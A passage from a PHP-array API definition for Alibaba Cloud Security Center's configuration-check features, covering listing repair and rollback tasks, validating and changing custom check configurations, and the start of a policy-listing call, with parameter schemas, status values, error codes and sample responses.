\\"A3D7C47D-3F11-57BB-90E8-E5C20C61****\\",\\n \\"OperationTaskInstanceDetails\\": [\\n {\\n \\"CheckId\\": 58,\\n \\"InstanceId\\": \\"lb-2zefdwrre8ey8ewr0****\\",\\n \\"RegionId\\": \\"cn-shanghai\\",\\n \\"Repair\\": [\\n {\\n \\"OperateTime\\": 1719923175000,\\n \\"RepairConfigs\\": [\\n {\\n \\"Name\\": \\"IpList\\",\\n \\"TypeDefine\\": \\"{\\\\\\\\\\\\\\"type\\\\\\\\\\\\\\":\\\\\\\\\\\\\\"STRING\\\\\\\\\\\\\\",\\\\\\\\\\\\\\"range\\\\\\\\\\\\\\":[0,64]}\\",\\n \\"ShowName\\": \\"IP List\\",\\n \\"FlowId\\": \\"cd7c4d34c1034de08308535d6cee***\\",\\n \\"Value\\": \\"192.168.1XX.1XX\\"\\n }\\n ],\\n \\"StatusShowName\\": \\"repair success verified\\",\\n \\"Status\\": \\"REPAIR_SUCCESS_VERIFIED\\",\\n \\"TaskId\\": \\"6a829841e335b0fb6e0014463284****\\"\\n }\\n ],\\n \\"Type\\": \\"REPAIR\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'View details of repair or rollback tasks', 'description' => 'This interface is only available to users who have purchased the cloud platform configuration check authorization or enabled the pay-as-you-go service for cloud platform configuration checks.', 'translator' => 'machine', ], 'ListOperationTask' => [ 'summary' => 'Display the list of cloud product configuration check, repair, and rollback tasks', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '213395', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'The page number to display in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '1', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'The maximum number of items to display per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '10', ], ], [ 'name' => 'TaskId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the task to be queried.', 'type' => 'string', 'required' => false, 'example' => 'd7b2acf8d362742123e4a84e1bf8****', ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'The type of operation task to be queried:'."\n" .'- REPAIR: Repair'."\n" .'- ROLLBACK: Rollback', 'type' => 'string', 'required' => false, 'example' => 'REPAIR', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) API to obtain the check item ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '76', ], ], [ 'name' => 'OperationTaskInstances', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The instance information of the operation tasks to be queried.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'Cloud asset vendor.', 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'RegionId' => [ 'description' => 'The ID of the region where the instance is located.', 'type' => 'string', 'required' => false, 'example' => 'cn-hangzhou', ], 'InstanceId' => [ 'description' => 'The instance ID of the server.', 'type' => 'string', 'required' => false, 'example' => 'am-bp1vy2yaj1nvx****', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Statuses', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'A list of task statuses. Multiple statuses should be separated by commas (,). Values:'."\n" ."\n" .'- **INIT**: Initialization'."\n" .'- **FAIL**: Processing failed'."\n" .'- **THROTTLING**: Repairing concurrently'."\n" .'- **IN_BACKUP**: Backing up'."\n" .'- **BACKED_UP**: Backed up'."\n" .'- **BACKUP_FAIL**: Backup failed'."\n" .'- **REPAIRING**: Repairing'."\n" .'- **REPAIR_SUCCESS**: Repair succeeded'."\n" .'- **REPAIR_FAIL**: Repair failed'."\n" .'- **REPAIR_SUCCESS_VERIFYING**: Verifying repair success'."\n" .'- **REPAIR_SUCCESS_UNVERIFIED**: Repair success verification failed'."\n" .'- **REPAIR_SUCCESS_VERIFIED**: Repair success verified'."\n" .'- **REPAIR_RE_EXECUTE**: Re-executing repair'."\n" .'- **ROLL_BACKING**: Rolling back'."\n" .'- **ROLL_BACKED**: Rolled back'."\n" .'- **ROLL_BACK_FAIL**: Rollback failed'."\n" .'- **ROLL_BACK_INIT**: Rollback initiated'."\n" .'- **ROLL_BACK_VERIFYING**: Verifying rollback success'."\n" .'- **ROLL_BACK_UNVERIFIED**: Rollback success verification failed'."\n" .'- **ROLL_BACK_VERIFIED**: Rollback success verified', 'type' => 'array', 'items' => [ 'description' => 'The status of the task.', 'type' => 'string', 'required' => false, 'example' => 'REPAIRING', ], 'required' => false, 'enumValueTitles' => [], 'maxItems' => 100, ], ], [ 'name' => 'Lang', 'in' => 'query', 'schema' => [ 'description' => 'Set the language type for the request and response messages. The default value is **zh**. Values:'."\n" ."\n" .'- **zh**: Chinese'."\n" .'- **en**: English', 'type' => 'string', 'required' => false, 'example' => 'zh', ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'The format of the message.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of the current request, which is a unique identifier generated by Alibaba Cloud for this request and can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '3956048F-9D73-5EDB-834B-4827BB48****', ], 'OperationTasks' => [ 'description' => 'Detailed instance information list of operation tasks.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'RiskLevel' => [ 'description' => 'The risk level of the detected alert. Values:'."\n" .'- **high**: High risk.'."\n" .' - **medium**: Medium risk. '."\n" .'- **low**: Low risk.', 'type' => 'string', 'example' => 'high', ], 'CheckId' => [ 'description' => 'The ID of the check item.', 'type' => 'integer', 'format' => 'int64', 'example' => '3', ], 'RegionId' => [ 'description' => 'The ID of the region where the server is located.', 'type' => 'string', 'example' => 'cn-shenzhen', ], 'LastCheckTime' => [ 'description' => 'The timestamp of the latest check, in milliseconds.', 'type' => 'integer', 'format' => 'int64', 'example' => '1723173101000', ], 'Status' => [ 'description' => 'The status of the task. Possible values:'."\n" ."\n" .'- **INIT**：Initialization'."\n" .'- **FAIL**：Processing failed'."\n" .'- **THROTTLING**：Repairing concurrently'."\n" .'- **IN_BACKUP**：Backing up'."\n" .'- **BACKED_UP**：Backed up'."\n" .'- **BACKUP_FAIL**：Backup failed'."\n" .'- **REPAIRING**：Repairing'."\n" .'- **REPAIR_SUCCESS**：Repair succeeded'."\n" .'- **REPAIR_FAIL**：Repair failed'."\n" .'- **REPAIR_SUCCESS_VERIFYING**：Verifying repair success'."\n" .'- **REPAIR_SUCCESS_UNVERIFIED**：Verification of repair success failed'."\n" .'- **REPAIR_SUCCESS_VERIFIED**：Verification of repair success succeeded'."\n" .'- **REPAIR_RE_EXECUTE**：Re-executing repair'."\n" .'- **ROLL_BACKING**：Rolling back'."\n" .'- **ROLL_BACKED**：Rolled back'."\n" .'- **ROLL_BACK_FAIL**：Rollback failed'."\n" .'- **ROLL_BACK_INIT**：Initiating rollback'."\n" .'- **ROLL_BACK_VERIFYING**：Verifying rollback success'."\n" .'- **ROLL_BACK_UNVERIFIED**：Verification of rollback success failed'."\n" .'- **ROLL_BACK_VERIFIED**：Verification of rollback success succeeded', 'type' => 'string', 'example' => 'REPAIRING', ], 'DealTime' => [ 'description' => 'The processing time of the task.', 'type' => 'integer', 'format' => 'int64', 'example' => '1723173101010', ], 'TaskId' => [ 'description' => 'The ID of the operation task.', 'type' => 'string', 'example' => '5bb1a313f9924b728b3c12e007c1****', ], 'RootTaskId' => [ 'description' => 'The ID of the main task.', 'type' => 'string', 'example' => '01db51b0e5307bb703a22611c86f****', ], 'InstanceId' => [ 'description' => 'The ID of the server instance.', 'type' => 'string', 'example' => 'i-wz9abo6wgjmh4yep****', ], 'Type' => [ 'description' => 'The type of the operation task being queried:'."\n" .'- REPAIR: Repair'."\n" .'- ROLLBACK: Rollback', 'type' => 'string', 'example' => 'REPAIR', ], 'CheckShowName' => [ 'description' => 'The name of the check item.', 'type' => 'string', 'example' => 'checkShowName', ], 'StatusShowName' => [ 'description' => 'The display status of the repair task.', 'type' => 'string', 'example' => 'Verified After Repair Success', ], 'RepairSupportType' => [ 'description' => 'The type of repair supported by the check item:'."\n" ."\n" .'- **1**：Supports repair and rollback operations'."\n" .'- **2**：Supports repair but not rollback'."\n" .'- **3**：Redirect to a third-party platform for operation', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'SupportRollBack' => [ 'description' => 'Whether rollback is supported:'."\n" .'- true: Supported'."\n" .'- false: Not supported', 'type' => 'boolean', 'example' => 'true', ], 'InstanceFreed' => [ 'description' => 'Whether the instance is released:'."\n" .'- true: Released'."\n" .'- false: Not released', 'type' => 'boolean', 'example' => 'true', ], 'ErrorCode' => [ 'description' => 'The error code.', 'type' => 'string', 'example' => 'BackUpScriptError', ], 'ErrorMsg' => [ 'description' => 'The error message.', 'type' => 'string', 'example' => 'backUp script error', ], ], ], ], 'PageInfo' => [ 'description' => 'Page information when performing a paginated query.', 'type' => 'object', 'properties' => [ 'CurrentPage' => [ 'description' => 'The page number of the current page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '1', ], 'PageSize' => [ 'description' => 'The maximum number of items to display per page in a paginated query.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], 'TotalCount' => [ 'description' => 'The total number of records in the query result.', 'type' => 'integer', 'format' => 'int32', 'example' => '149', ], 'Count' => [ 'description' => 'The number of entries returned on the current page.', 'type' => 'integer', 'format' => 'int32', 'example' => '20', ], ], ], ], ], ], ], 'errorCodes' => [ 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"3956048F-9D73-5EDB-834B-4827BB48****\\",\\n \\"OperationTasks\\": [\\n {\\n \\"RiskLevel\\": \\"high\\",\\n \\"CheckId\\": 3,\\n \\"RegionId\\": \\"cn-shenzhen\\",\\n \\"LastCheckTime\\": 1723173101000,\\n \\"Status\\": \\"REPAIRING\\",\\n \\"DealTime\\": 1723173101010,\\n \\"TaskId\\": \\"5bb1a313f9924b728b3c12e007c1****\\",\\n \\"RootTaskId\\": \\"01db51b0e5307bb703a22611c86f****\\",\\n \\"InstanceId\\": \\"i-wz9abo6wgjmh4yep****\\",\\n \\"Type\\": \\"REPAIR\\",\\n \\"CheckShowName\\": \\"开启恶意主机行为防御功能\\",\\n \\"StatusShowName\\": \\"回滚已验证\\",\\n \\"RepairSupportType\\": 1,\\n \\"SupportRollBack\\": true,\\n \\"InstanceFreed\\": true,\\n \\"ErrorCode\\": \\"BackUpScriptError\\",\\n \\"ErrorMsg\\": \\"backUp script error\\"\\n }\\n ],\\n \\"PageInfo\\": {\\n \\"CurrentPage\\": 1,\\n \\"PageSize\\": 20,\\n \\"TotalCount\\": 149,\\n \\"Count\\": 20\\n }\\n}","type":"json"}]', 'title' => 'Query Cloud Security Posture Management Operation Tasks', 'translator' => 'machine', ], 'VerifyCheckCustomConfig' => [ 'summary' => 'Customization and validation of check items and repair parameters', 'methods' => [ 'get', 'post', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'get', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeCode' => '226868', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'Check item ID.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '76', ], ], [ 'name' => 'CustomConfigs', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'List of custom configuration items for the check item.', 'type' => 'array', 'items' => [ 'description' => 'List of custom configuration items for the check item.', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the custom configuration item for the check item, unique within the same check item.', 'type' => 'string', 'required' => false, 'example' => 'IPList', ], 'Value' => [ 'description' => 'User-configured value string for the custom configuration item of the check item.', 'type' => 'string', 'required' => false, 'example' => '10.12.4.XX'."\n", ], 'Operation' => [ 'description' => 'Operation type for the custom configuration item of the check item. Only pass DELETE when deleting; no need to pass for creation or update.', 'type' => 'string', 'required' => false, 'example' => 'DELETE', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'RepairConfigs', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'Repair parameters supported by the check item\'s repair function.', 'type' => 'array', 'items' => [ 'description' => 'Repair parameters supported by the check item\'s repair function.', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the repair parameter for the check item, unique within the same check item.', 'type' => 'string', 'required' => false, 'example' => 'IPLists', ], 'Value' => [ 'description' => 'User-configured value string for the repair parameter of the check item.', 'type' => 'string', 'required' => false, 'example' => '172.26.49.XX', ], 'FlowId' => [ 'description' => 'ID of the repair process during the repair.', 'type' => 'string', 'required' => false, 'example' => '7fec0a3395b345c18f108ffc9fc0****', ], 'Operation' => [ 'description' => 'Operation type for the custom configuration item of the check item. Only pass DELETE when deleting; no need to pass for creation or update.', 'type' => 'string', 'required' => false, 'example' => 'DELETE', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'Situation Awareness parameter validation types: '."\n" .'- **REPAIR_CONFIG**: Repair and custom parameter validation (default) '."\n" .'- **CHECK_ITEM_CONFIG**: Custom check item validation', 'type' => 'string', 'required' => false, 'example' => 'REPAIR_CONFIG', ], ], [ 'name' => 'CustomCheckConfig', 'in' => 'query', 'style' => 'json', 'schema' => [ 'description' => 'Custom check item to validate input parameters.', 'type' => 'object', 'properties' => [ 'Vendor' => [ 'description' => 'Cloud asset vendor. Values: '."\n" .'- **ALIYUN**: Alibaba Cloud '."\n" .'- **Tencent**: Tencent Cloud '."\n" .'- **HUAWEICLOUD**: Huawei Cloud '."\n" .'- **Azure**: Microsoft '."\n" .'- **AWS**: Amazon Web Services (AWS)', 'type' => 'string', 'required' => false, 'example' => 'ALIYUN', ], 'InstanceType' => [ 'description' => 'Asset types of cloud products. Values:'."\n" .'- **ECS**: Elastic Compute Service '."\n" .'- **SLB**: Server Load Balancer '."\n" .'- **RDS**: Relational Database Service '."\n" .'- **MONGODB**: MongoDB Database '."\n" .'- **KVSTORE**: Redis Database '."\n" .'- **ACR**: Container Registry '."\n" .'- **CSK**: CSK '."\n" .'- **VPC**: Virtual Private Cloud '."\n" .'- **ACTIONTRAIL**: Action Trail '."\n" .'- **CDN**: Content Delivery Network '."\n" .'- **CAS**: Digital Certificate Management Service [formerly SSL Certificates] '."\n" .'- **RDC**: DevOps '."\n" .'- **RAM**: Resource Access Management '."\n" .'- **DDOS**: Distributed Denial of Service '."\n" .'- **WAF**: Web Application Firewall '."\n" .'- **OSS**: Object Storage Service '."\n" .'- **POLARDB**: POLARDB '."\n" .'- **POSTGRESQL**: PostgreSQL '."\n" .'- **MSE**: MSE '."\n" .'- **NAS**: Network Attached Storage '."\n" .'- **SDDP**: Sensitive Data Discovery and Protection '."\n" .'- **EIP**: Elastic IP', 'type' => 'string', 'required' => false, 'example' => 'ECS', ], 'InstanceSubType' => [ 'description' => 'Asset subtype of the cloud product', 'type' => 'string', 'required' => false, 'example' => 'DISK', ], 'CheckRule' => [ 'description' => 'Define rules for custom inspection items.', 'type' => 'string', 'required' => false, 'example' => '{"AssociatedData":{"ToDataList":[{"DataName":"ACS_ECS_Instance","PropertyPath":"InstanceId","FromPropertyPath":"InstanceId"}]},"MatchProperty":{"Operator":"AND","MatchProperties":[{"DataName":"ACS_ECS_Disk","PropertyPath":"DiskId","MatchOperator":"EQ","MatchPropertyValue":"testId"}]}}', ], 'CloudAssetInstance' => [ 'description' => 'Asset instance that requires testing rules', 'type' => 'object', 'properties' => [ 'InstanceId' => [ 'description' => 'Instance ID of the asset.', 'type' => 'string', 'required' => false, 'example' => 'i-0jl4mjgl261cfrz5****', ], 'RegionId' => [ 'description' => 'The region ID of the instance.', 'type' => 'string', 'required' => false, 'example' => 'ap-southeast-1', ], ], 'required' => false, ], ], 'required' => false, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'title' => 'Schema of Response', 'description' => 'Structure of the returned message.', 'type' => 'object', 'properties' => [ 'RequestId' => [ 'title' => 'Id of the request', 'description' => 'The ID of this call request, a unique identifier generated by Alibaba Cloud for the request, which can be used for troubleshooting and problem localization.', 'type' => 'string', 'example' => '7532B7EE-7CE7-5F4D-BF04-B12447DD****', ], 'ErrorCheckConfigs' => [ 'description' => 'List of check parameters with configuration errors.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the custom configuration item for the check item, unique within the same check item.', 'type' => 'string', 'example' => 'IpList', ], 'Value' => [ 'description' => 'User-configured value string for the custom configuration item of the check item.', 'type' => 'string', 'example' => '10.12.4.XX', ], 'Type' => [ 'description' => 'Type of the erroneous parameter:'."\n" .'- custom: Custom configuration parameter', 'type' => 'string', 'example' => 'custom', ], 'ErrorCode' => [ 'description' => 'Error code.', 'type' => 'string', 'example' => 'ConfigEqualIllegal', ], 'ErrorMsg' => [ 'description' => 'Error message.', 'type' => 'string', 'example' => 'Custom parameter is not equal to corresponding check parameter', ], 'LinkErrorConfigs' => [ 'description' => 'Related configurations causing this error.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the check item configuration, unique within the same check item.', 'type' => 'string', 'example' => 'IpLists', ], 'ShowName' => [ 'description' => 'Display name of the user\'s check configuration.', 'type' => 'string', 'example' => 'IP Lists', ], 'Type' => [ 'description' => 'The type of the parameter that caused the error:'."\n" .'- repair: Repair parameter'."\n" .'- custom: Custom configuration parameter', 'type' => 'string', 'example' => 'repair', ], ], ], ], ], ], ], 'ErrorRepairConfigs' => [ 'description' => 'List of repair parameters with configuration check errors.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the check item\'s repair configuration, unique within the same check item.', 'type' => 'string', 'example' => 'IpLists', ], 'Value' => [ 'description' => 'Name of the check item\'s repair parameter, unique within the same check item.', 'type' => 'string', 'example' => '172.26.49.XX'."\n", ], 'Type' => [ 'description' => 'The type of the parameter that caused the error:'."\n" .'- repair: Repair parameter', 'type' => 'string', 'example' => 'repair', ], 'ErrorCode' => [ 'description' => 'Error code.', 'type' => 'string', 'example' => 'ConfigEqualIllegal', ], 'ErrorMsg' => [ 'description' => 'Error message.', 'type' => 'string', 'example' => 'Repair parameter is not equal to corresponding check parameter', ], 'LinkErrorConfigs' => [ 'description' => 'Related configurations causing this error.', 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'Name of the check item\'s configuration, unique within the same check item.', 'type' => 'string', 'example' => 'IpList', ], 'ShowName' => [ 'description' => 'Display name of the user\'s check configuration.', 'type' => 'string', 'example' => 'Ip List', ], 'Type' => [ 'description' => 'The type of the parameter that caused the error:'."\n" .'- repair: Repair parameter'."\n" .'- custom: Custom configuration parameter', 'type' => 'string', 'example' => 'custom', ], ], ], ], ], ], ], 'ErrorCheckCustomConfig' => [ 'description' => 'Check the error code returned by the custom check item.', 'type' => 'object', 'properties' => [ 'ErrorCode' => [ 'description' => 'Error code when failed. This parameter is not returned upon success. '."\n" .'- **CspmVerifyCheckCustomItemNoPass**: The asset did not pass the set custom rules. '."\n" .'- **CspmVerifyCheckCustomItemError**: Verification error, there is an issue with the input rule.', 'type' => 'string', 'example' => 'CspmVerifyCheckCustomItemNoPass', ], 'ErrorMsg' => [ 'description' => 'Error message', 'type' => 'string', 'example' => 'Creation verification failed.', ], ], ], ], ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'ParamIllegal.%s', 'errorMessage' => 'The parameter %s is invalid, please fill it in again.', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'CspmVerifyItemRuleError.%s', 'errorMessage' => 'Audit check item check rule error: %s.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'staticInfo' => [ 'returnType' => 'synchronous', ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"7532B7EE-7CE7-5F4D-BF04-B12447DD****\\",\\n \\"ErrorCheckConfigs\\": [\\n {\\n \\"Name\\": \\"IpList\\",\\n \\"Value\\": \\"10.12.4.XX\\",\\n \\"Type\\": \\"custom\\",\\n \\"ErrorCode\\": \\"ConfigEqualIllegal\\",\\n \\"ErrorMsg\\": \\"Custom parameter is not equal to corresponding check parameter\\",\\n \\"LinkErrorConfigs\\": [\\n {\\n \\"Name\\": \\"IpLists\\",\\n \\"ShowName\\": \\"IP Lists\\",\\n \\"Type\\": \\"repair\\"\\n }\\n ]\\n }\\n ],\\n \\"ErrorRepairConfigs\\": [\\n {\\n \\"Name\\": \\"IpLists\\",\\n \\"Value\\": \\"172.26.49.XX\\\\n\\",\\n \\"Type\\": \\"repair\\",\\n \\"ErrorCode\\": \\"ConfigEqualIllegal\\",\\n \\"ErrorMsg\\": \\"Repair parameter is not equal to corresponding check parameter\\",\\n \\"LinkErrorConfigs\\": [\\n {\\n \\"Name\\": \\"IpList\\",\\n \\"ShowName\\": \\"Ip List\\",\\n \\"Type\\": \\"custom\\"\\n }\\n ]\\n }\\n ],\\n \\"ErrorCheckCustomConfig\\": {\\n \\"ErrorCode\\": \\"CspmVerifyCheckCustomItemNoPass\\",\\n \\"ErrorMsg\\": \\"Creation verification failed.\\"\\n }\\n}","type":"json"}]', 'title' => 'Validate custom configuration for situational awareness', 'translator' => 'machine', ], 'ChangeCheckCustomConfig' => [ 'summary' => 'Modifies the custom configuration items of a check item.', 'methods' => [ 'post', 'get', ], 'schemes' => [ 'http', 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'write', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'none', 'abilityTreeCode' => '167568', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], 'tenantRelevance' => 'publicInformation', ], 'parameters' => [ [ 'name' => 'RegionId', 'in' => 'query', 'schema' => [ 'description' => 'The region where the Security Center instance is deployed. Valid values:'."\n" ."\n" .'* **cn-hangzhou**: International'."\n" .'* **ap-southeast-1**: Singapore'."\n", 'type' => 'string', 'required' => false, 'enumValueTitles' => [], 'example' => 'cn-hangzhou', ], ], [ 'name' => 'CheckId', 'in' => 'query', 'schema' => [ 'description' => 'The ID of the check item.'."\n" ."\n" .'> You can call the [ListCheckResult](~~ListCheckResult~~) operation to query the IDs of check items.'."\n", 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '76', ], ], [ 'name' => 'CustomConfigs', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The custom configuration items of the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The custom configuration item of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the custom configuration item. The name of a custom configuration item is unique in a check item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'SessionTimeMax', ], 'Value' => [ 'description' => 'The value of the custom configuration item. The value is a string.'."\n", 'type' => 'string', 'required' => false, 'example' => '13', ], 'Operation' => [ 'description' => 'The operation that you want to perform on the custom configuration item. This parameter is required only if you want to delete the custom configuration item. To delete the custom configuration item, set the value to DELETE.'."\n", 'type' => 'string', 'required' => false, 'example' => 'DELETE', 'enum' => [ 'DELETE', ], ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], [ 'name' => 'RepairConfigs', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The parameters required for fixing risk items.'."\n", 'type' => 'array', 'items' => [ 'description' => '', 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the parameter required for fixing a risk item, which is unique in a check item.'."\n", 'type' => 'string', 'required' => false, 'example' => 'Port', ], 'Value' => [ 'description' => 'The value of the parameter required for fixing a risk item. The value is a string.'."\n", 'type' => 'string', 'required' => false, 'example' => '80', ], 'Operation' => [ 'description' => 'The operation that you want to perform on the custom configuration item. This parameter is required only if you want to delete the custom configuration item. To delete the custom configuration item, set the value to DELETE.'."\n", 'type' => 'string', 'required' => false, 'example' => 'DELETE', 'enum' => [ 'DELETE', ], ], 'FlowId' => [ 'description' => 'The ID of the fixing process.'."\n", 'type' => 'string', 'required' => false, 'example' => 'ascgrmscyjgs*********', ], ], 'required' => false, ], 'required' => false, 'maxItems' => 20, ], ], ], 'responses' => [ 200 => [ 'schema' => [ 'type' => 'object', 'properties' => [ 'RequestId' => [ 'description' => 'The ID of the request, which is used to locate and troubleshoot issues.'."\n", 'type' => 'string', 'example' => 'DA8133CC-CCA0-5CF2-BF64-FE7D52C44***', ], 'IllegalCustomConfigs' => [ 'description' => 'An array that consists of the invalid custom configuration items of the check item.'."\n", 'type' => 'array', 'items' => [ 'description' => 'The custom configuration item of the check item.'."\n", 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the custom configuration item, which is unique in a check item.'."\n", 'type' => 'string', 'example' => 'SessionTimeMax', ], ], ], ], 'IllegalRepairConfigs' => [ 'description' => 'An array that consists of the invalid parameters required for fixing risk items.'."\n", 'type' => 'array', 'items' => [ 'type' => 'object', 'properties' => [ 'Name' => [ 'description' => 'The name of the invalid parameter required for fixing a risk item.'."\n", 'type' => 'string', 'example' => 'SessionTimeMax', ], ], ], ], ], 'description' => '', ], ], ], 'errorCodes' => [ 400 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'no permission', ], [ 'errorCode' => 'NoPurchase', 'errorMessage' => 'The user did not purchase this product.', ], [ 'errorCode' => 'IllegalParameter', 'errorMessage' => 'Illegal parameter, please check the param.', ], ], 403 => [ [ 'errorCode' => 'NoPermission', 'errorMessage' => 'caller has no permission', ], ], 500 => [ [ 'errorCode' => 'ServerError', 'errorMessage' => 'ServerError', ], ], ], 'eventInfo' => [ 'enable' => false, 'eventNames' => [], ], 'responseDemo' => '[{"errorExample":"","example":"{\\n \\"RequestId\\": \\"DA8133CC-CCA0-5CF2-BF64-FE7D52C44***\\",\\n \\"IllegalCustomConfigs\\": [\\n {\\n \\"Name\\": \\"SessionTimeMax\\"\\n }\\n ],\\n \\"IllegalRepairConfigs\\": [\\n {\\n \\"Name\\": \\"SessionTimeMax\\"\\n }\\n ]\\n}","type":"json"}]', 'title' => 'ChangeCheckCustomConfig', ], 'ListCheckPolicies' => [ 'summary' => 'List User Policies', 'path' => '', 'methods' => [ 'get', ], 'schemes' => [ 'https', ], 'security' => [ [ 'AK' => [], ], ], 'operationType' => 'read', 'deprecated' => false, 'systemTags' => [ 'operationType' => 'list', 'riskType' => 'none', 'chargeType' => 'free', 'abilityTreeNodes' => [ 'FEATUREsas8WIQPJ', ], ], 'parameters' => [ [ 'name' => 'PolicyType', 'in' => 'query', 'schema' => [ 'description' => 'Policy type of the custom check item rule:'."\n" .'- **STANDARD**: New standard'."\n" .'- **REQUIREMENT**: New requirement'."\n" .'- **SECTION**: New section', 'type' => 'string', 'required' => true, 'example' => 'STANDARD', ], ], [ 'name' => 'PolicyId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the newly added classification setting.', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1000000000001', ], ], [ 'name' => 'PolicyShowName', 'in' => 'query', 'schema' => [ 'description' => 'Name of the newly added classification setting.', 'type' => 'string', 'required' => false, 'example' => 'testPolicyName', ], ], [ 'name' => 'DependentPolicyId', 'in' => 'query', 'schema' => [ 'description' => 'ID of the associated parent policy.'."\n" ."\n" .'(The specific dependency relationship from low to high is: Section -> Requirement -> Standard)', 'type' => 'integer', 'format' => 'int64', 'required' => false, 'example' => '1000000000002', ], ], [ 'name' => 'CheckTypes', 'in' => 'query', 'style' => 'repeatList', 'schema' => [ 'description' => 'The types of policies to be queried (default queries both custom and system predefined policies).', 'type' => 'array', 'items' => [ 'description' => 'Type of the policy (indicates whether the policy is a system policy or a user policy):'."\n" .'- **CUSTOM**: User-defined'."\n" .'- **SYSTEM**: System-predefined', 'type' => 'string', 'required' => false, 'example' => 'CUSTOM', ], 'required' => false, 'maxItems' => 100, ], ], [ 'name' => 'Type', 'in' => 'query', 'schema' => [ 'description' => 'Name of the associated major policy category (required when PolicyType is STANDARD):'."\n" .'- **AISPM**: AI Configuration Management (AI-SPM)'."\n" .'- **IDENTITY_PERMISSION**: Identity and Permission Management (CIEM)'."\n" .'- **RISK**: Security Risk'."\n" .'- **COMPLIANCE**: Compliance Risk', 'type' => 'string', 'required' => false, 'example' => 'AISPM', ], ], [ 'name' => 'PageSize', 'in' => 'query', 'schema' => [ 'description' => 'Number of check item information entries displayed per page during pagination. The default value is **50**, indicating 50 entries per page.', 'type' => 'integer', 'format' => 'int32', 'required' => false, 'example' => '20', ], ], [ 'name' => 'CurrentPage', 'in' => 'query', 'schema' => [ 'description' => 'Specifies the page number from which to start displaying the query results. The starting value is **1**. The default value is **1**, indicating that the display 